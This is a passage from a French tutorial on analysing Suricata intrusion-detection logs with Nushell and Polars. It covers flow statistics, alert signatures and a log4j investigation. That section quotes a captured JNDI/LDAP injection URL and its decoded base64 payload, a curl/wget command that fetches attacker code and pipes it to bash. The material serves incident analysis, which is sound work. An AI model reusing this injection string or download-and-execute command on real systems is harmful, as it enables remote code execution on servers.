Vous remarquerez que les petits points dans la sortie précédente. Il ne s'agit pas d'une troncature: polars travaille de préférence en mode "lazy" et ne charge pas tout le fichier en mémoire. Il aurait fallu faire un *polars into-nu* afin d'obtenir la sortie complète.

Un autre chemin possible est de normaliser le fichier avec le package *Pandas pour Python*. Ce n'est pas la méthode la plus élégante (c'est un article sur nushell pas Pandas!) mais elle a le mérite de fonctionner et de fournir un fichier formaté.

La méthode *json_normalize* comble les champs structurés et applanie les structures et permet de les traiter avec Polars. On obtient un fichier csv que l'on peut traiter avec Polars.

```

1 import json
2 import pandas as pd
3
4 with open("eve.json", "r") as handle:
5     DF = pd.json_normalize([
6         json.loads(line) for line in handle
7     ])
8     DF.to_csv('eve.csv')

```

Il existe aussi une méthode "normalize" pour Python Polars mais elle n'a pas fonctionné sur le fichier json de Suricata.

```
polars open eve.csv --infer-schema 5000
| polars filter ((polars col event_type) == 'flow')
| polars select flow.bytes_toclient flow.bytes_toserver src_ip dest_ip
| polars group-by dest_ip
| polars agg [(polars col flow.bytes_toclient |polars cast f64|polars sum)
  (polars col flow.bytes_toserver|polars cast f64 |polars sum)]
| polars with-column ((polars col flow.bytes_toserver | polars cast f64) + (polars col flow.bytes_toclient))
| polars sort-by total_bytes -r [true]
| polars collect
| table -t light
```

#	dest_ip	flow.bytes_toclient	flow.bytes_toserver	total_bytes
0	198.71.247.91	1149621.00	2498985.00	3648606.00
1	91.189.91.157	10620.00	10890.00	21510.00
2	147.182.237.4	4569.00	6630.00	11199.00
3	89.187.170.167	2896.00	4480.00	7376.00
4	12.94.236.218	0.00	1108.00	1108.00
5	98.75.86.68	0.00	1108.00	1108.00
6	65.8.65.93	0.00	1108.00	1108.00
7	8.223.36.252	0.00	554.00	554.00
8	20.154.138.90	0.00	554.00	554.00
9	148.11.92.115	0.00	554.00	554.00
...
60	40.218.112.20	0.00	540.00	540.00
61	91.12.95.232	0.00	540.00	540.00
62	53.126.136.220	0.00	540.00	540.00

On peut passer du mode Polars au mode NuShell avec la commande *polars into-nu* et vice-versa avec la commande *polars into-df*. Ca ne devrait être nécessaire que pour sauve

Pour la suite de l'analyse, on va rester dans le mode Nushell qui est

Il est difficile de savoir si des flux sont légitimes ou non. Par contre si le flux "matche" une signature il y a une grande probabilité pour qu'il soit malveillant.

4.3 Analyse des logs avec NuShell: les alertes

Passons aux choses sérieuses. Les alertes obtenues grâce au signature sont enregistrées dans le fichier eve.json. Elles sont sans aucun doute intéressantes.

Jetons-y un oeil:

```
cat eve.json
| from json --objects
| where event_type == 'alert'
| flatten
| get signature
| uniq -c
| sort-by -r count
| table -t light
```

#	value	count
0	SURICATA UDPv4 invalid checksum	73
1	ET SCAN Zmap User-Agent (Inbound)	10
2	SURICATA Applayer Mismatch protocol both directions	8
3	SURICATA Applayer Detect protocol only one direction	6
4	SURICATA STREAM 3way handshake SYNACK with wrong ack	6
5	ET SCAN Mirai Variant User-Agent (Inbound)	5
6	SURICATA HTTP missing Host header	4
7	ET SCAN JAWS Webserver Unauthenticated Shell Command Execution	3
8	SURICATA QUIC error on data	3
9	TGI HUNT Graves Accent (backtick) in HTTP Header	2

10	SURICATA ICMPv4 invalid checksum	2
11	TGI HUNT Suspicious String in HTTP POST Body (wget)	2
12	TGI HUNT log4j with Base64	2
13	SURICATA HTTP Unexpected Request body	1
14	SURICATA HTTP Host header invalid	1
15	SURICATA HTTP request field missing colon	1
16	TGI HUNT PHP Magic Bytes in HTTP Request	1
17	TGI HUNT HTTP POST to wp-.* Path Without Referer	1
18	SURICATA HTTP METHOD terminated by non-compliant character	1
19	SURICATA HTTP URI terminated by non-compliant character	1

L'alerte "TGI HUNT log4j with Base64" nous exhorte à venir la regarder de plus près :

```
cat eve.json
```

```
| from json --objects
| where event_type == 'alert'
| flatten
| where signature == 'TGI HUNT log4j with Base64'
| select timestamp src_ip dest_ip flow_id signature category
| table -t light
```

#	timestamp	src_ip	dest_ip	flow_id	signature
0	2022-01-01T20:55:04.810648+0100	195.54.160.149	198.71.247.91	42134729334843	TGI HUNT log4j with
1	2022-01-02T18:00:02.205062+0100	195.54.160.149	198.71.247.91	518359381268787	TGI HUNT log4j with

Le flow_id est un élément transverse qui permet de suivre tous les événements liés par un même flow.

C'est une métadonnée générée par Suricata, vous n'aurez donc pas le même *flow_id* que moi.

Utilisons-le pour suivre les événements liés à l'alerte log4j :

```
cat eve.json
```

```
| from json --objects
| default "noflowid" flow_id
| flatten
| where flow_id == 42134729334843
| table -t light
```

#	timestamp	flow_id	pcap_cnt	event_type	src_ip	src_port	dest_ip	dest_port
0	2022-01-01T20:55:04.810648+0100	42134729334843	10781	alert	195.54.160.149	57842	198.71.247.91	80
1	2022-01-01T20:55:04.810648+0100	42134729334843	10781	http	195.54.160.149	57842	198.71.247.91	80
2	2022-01-01T20:55:04.810649+0100	42134729334843	10783	fileinfo	198.71.247.91	80	195.54.160.149	57842
3	2022-01-01T01:00:13.076985+0100	42134729334843	☒	flow	195.54.160.149	57842	198.71.247.91	80

```
cat eve.json
```

```
| from json --objects
| default "noflowid" flow_id
| flatten
| where flow_id == 518359381268787
| table -t light
```

#	timestamp	flow_id	pcap_cnt	event_type	src_ip	src_port	dest_ip	dest_port
0	2022-01-02T	51835938126	22931	alert	195.54.160.	39020	198.71.247.9	80

	18:00:02.20	8787			149		1		
	5062+0100								
1	2022-01-02T	51835938126	22931	http	195.54.160.	39020	198.71.247.9	80	T
	18:00:02.20	8787			149		1		
	5062+0100								
2	2022-01-02T	51835938126	22933	fileinfo	198.71.247.	80	195.54.160.1	39020	T
	18:00:02.20	8787			91		49		
	5132+0100								
3	2022-01-01T	51835938126	☒	flow	195.54.160.	39020	198.71.247.9	80	TC
	01:00:13.07	8787			149		1		
	6985+0100								

L'adresse IP source 195.54.160.149 a été reportée malveillante par le passé. L'url confirme le lien avec la C.V.E. log4j.

```
cat eve.json
| from json --objects
| default "noflowid" flow_id
| flatten
| where flow_id == 42134729334843 |get -i url | uniq -c
| table -t light
#
```

```
0  /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xOTgu
```

4.3.1 Extraction du payload relatif à l'alerte log4j

Le payload est encodé en base64. On va les extraire des uri et les décoder.

La commande *parse* permet de récupérer le payload en utilisant une expression régulière. Elle renvoie des listes vides quand la "regex" ne "matche" pas. On va filter les listes vides avec la commande *filter* et l'instruction *is-not-empty*.

```
cat eve.json
| from json --objects
| flatten --all
| default "nourl" url
| get -i url
| each {$in|parse --regex "Base64/([A-Za-z0-9]+={,2})"}
| filter {$in|is-not-empty}|flatten|get capture0
| each {$in|decode base64 |decode}
| table -t light
| uniq -c
0  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
1  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
2  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
3  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
4  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
5  (curl -s 195.54.160.149:5874/198.71.247.91:80|wget -q -O- 195.54.160.149:5874/198.71.247.91:80)|bash
```

Ce sont des informations intéressantes sur la source des téléchargements.

5 Conclusions

Nushell et son plugin Polars m'ont permis de réaliser une analyse des logs de Suricata proche de celle réalisée à la suricon 2022 par Markus Kont.

Ce "Proof of Concept" tend donc à démontrer que Nushell fonctionne pour traiter des logs de sécurité.

Il lui manque le traitement graphique des flux et les outils de clustering qui permettent de classer les flux avec Python. C'est certes important...et la puissance de l'écosystème Python n'est pas discutable.

Rien ne nous empêche d'extraire les données avec Nushell au format csv et les traiter ailleurs (tableurs, apache superset...ou Python).

NuShell est aussi un langage qui peut être utilisé dans un playbook Jupyter grâce au projet "nu-jupyter-kernel"¹ Il fonctionne déjà avec Polars. On se rapproche des environnements liés à Python.

Au final NuShell a un spectre plus large que "jq" mais bien moindre que "Python". Sa capacité à traiter et à transformer les formats des données est intéressante.

Utilisant la puissance du "pipeline" et le langage compilé Rust , NuShell se révèle rapide et compact.

Son binding Polars, paraît-il plus performant que Pandas, offre à NuShell la capacité de traiter des fichiers de taille plus importante.

Bref vous l'avez compris il fait parti désormais de mes outils préférés afin de mettre en forme des données.

Références

Benoit Benedetti. Nushell : développez vos scripts et configurez votre shell. *Linux Pratique*, 134, nov 2022a. Numéro 134.

Benoit Benedetti. Travaillez avec vos propres données structurées à l'aide de nushell. *Linux Pratique*, HS 55, oct 2022b. Numéro HS 55.

Benoit Benedetti. Nushell : un shell en rust qui décape. *Linux Pratique*, 133, sep 2022c. Numéro 133.

Markus Kont. Suricata and jupyter notebook, nov 2022. URL <https://suricon.net/wp-content/uploads/2023/08/SURICON2022-Kont-Jupyter-Playbooks.pdf>. Presented at Suricon 2022, Athens.

[Benedetti \[2022a\]](#) [Benedetti \[2022b\]](#) [Benedetti \[2022c\]](#) [Kont \[2022\]](#)

1. <https://github.com/cptpiepmatz/nu-jupyter-kernel/tree/main>